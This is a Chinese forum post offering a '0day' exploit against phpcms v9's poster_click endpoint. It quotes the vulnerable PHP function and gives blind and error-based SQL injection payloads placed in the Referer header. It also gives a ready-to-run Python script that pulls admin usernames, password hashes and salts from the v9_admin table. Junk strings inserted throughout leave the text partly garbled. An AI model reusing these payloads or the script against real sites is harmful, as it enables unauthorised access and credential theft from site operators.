找回密码
 立即注册
查看: 3015|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
  r# a2 h9 W8 z! ?: a
. i5 P, a' B9 \' C问题函数\phpcms\modules\poster\index.php
- B8 s% o7 g: t8 b) @$ n. D$ x% r5 h0 A
public function poster_click() {
# V+ k9 c  L" _. x+ Z. ?$id = isset($_GET['id']) ? intval($_GET['id']) : 0;+ m; P7 i; u/ g* I2 q  ~+ n
$r = $this->db->get_one(array('id'=>$id));
9 F) `) y9 C" d  uif (!is_array($r) && empty($r)) return false;
7 E( m0 H! e9 j. z1 s: o1 Q+ g* |$ip_area = pc_base::load_sys_class('ip_area');- Z/ G8 M# q2 O! w3 v$ d/ R
$ip = ip();
1 n" s3 c' H# O* f: x- N' F$area = $ip_area->get($ip);3 [8 T( {' o2 \/ `2 R* T' p
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
1 M( z, c; ?  c; M4 fif($id) {
) \( U0 Y" ^- k6 ~$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();6 T$ @+ Y. G4 x
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));: a; E8 J6 b- I
}
/ _9 k. H2 e% W, x+ L+ a; `( G$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));. Z2 H, A/ H( o) l% D
$setting = string2array($r['setting']);
0 o0 U/ g* G9 L0 H5 Bif (count($setting)==1) {
6 Q1 B; h6 s$ h  b, U$url = $setting['1']['linkurl'];5 }8 O' z; W; z0 t
} else {: ~7 m6 Z- T+ \. |
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
$ O4 ~- S1 [9 W$ C$ w. j, y}
8 V3 F; y  s! E) g7 k# V! Eheader('Location: '.$url);6 l/ z  K3 O/ C5 u) l
}7 |5 ^* G& {6 k
3 l! a, C! [8 g" E8 k: u! V

2 G% W* ~4 C4 `, t% y7 v( x8 d( p
8 _0 X/ ]9 g( R' ?, w- S( b利用方式:
- t3 d4 h8 S: R' Y0 ^' c+ U, m( @2 N" b) p
1、可以采用盲注入的手法:! a7 J2 @8 Y" I. ?
0 e) ^; \& t  N) H5 u
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#, g6 Y( @3 V$ S/ I/ B
# I% f" ]) K6 F  J
通过返回页面,正常与否一个个猜解密码字段。5 x# m5 U8 _* s1 n
. g* u0 n9 Z8 {" v! y8 [
2、代码是花开写的,随手附上了:
/ T' c, [4 o: {2 m3 O+ [/ m5 B6 S, S/ ^, ^2 z! [
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#8 S) j! t: I, r! t% W

1 Q# d0 W' A/ f! I* m此方法是爆错注入手法,原理自查。
* f* K7 `3 a1 r) e7 L, X, }; S* J3 k" Y4 @. g4 ^9 L+ L
2 ]9 [2 V! y8 `/ k

5 h( ]  B) u; y利用程序:/ H8 Y7 J0 T7 J

# s+ c- ~  {1 m#!/usr/bin/env python
5 B. r' ?7 I  [& A1 m" X8 P  kimport httplib,sys,re5 c6 z! v3 H$ A. p+ ^0 l/ R. M3 z

4 W# l/ S+ `9 U: j  j* Z9 bdef attack():
7 j! Q' X, M+ R+ I; dprint “Code by Pax.Mac Team conqu3r!”' Q' V0 w& t# \. p
print “Welcome to our zone!!!”
7 Q5 ~/ d; w; R6 W4 Furl=sys.argv[1]8 g; R2 f5 {: _9 |
paths=sys.argv[2]: S5 h! U5 ]: V( M, v4 ^# p
conn = httplib.HTTPConnection(url)
5 o. _0 e) I+ B/ Z$ Z( a7 ^i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,7 L) _/ b$ x  {# V
“Accept”: “text/plain”,' O8 T2 F& }3 j& q5 `/ ^" N+ m8 b( k
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
: Z  ?1 v! |' ?1 N: \) u; W8 lconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)& j/ M$ a2 s  J) E8 T2 L1 P
r1 = conn.getresponse()
$ b) [+ ~: i2 ]# _8 jdatas=r1.read()
$ p8 G! S% }# Y4 E# b* S9 [datas=re.findall(r”Duplicate entry \’\w+’”, datas)
: ~7 {- E5 @9 G6 H5 H& Iprint datas[0]
# Z6 D+ D9 d) E8 g+ E% w: j) uconn.close()' R0 Z9 ~7 l- [  A+ Y
if __name__==”__main__”:! B% D" M3 n) x* w; w
if len(sys.argv)<3:
1 R$ r$ o, b/ z) g' ~! kprint “Code by Pax.Mac Team conqu3r”
0 B& ^! o+ @9 bprint “Usgae:”
, J% b& P! v7 y9 s5 v0 K! j* t) pprint “    phpcmsattack.py   www.paxmac.org /”
9 q4 T4 D' q8 Y" }' pprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”( i1 R9 p. ?7 U* v1 F! o
sys.exit(1)
, a, f1 X+ a! D) ?4 S2 Sattack()
# Z1 G' e% m8 B" h0 Z; s+ B3 |3 \1 |- Q# R& L' Z( m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表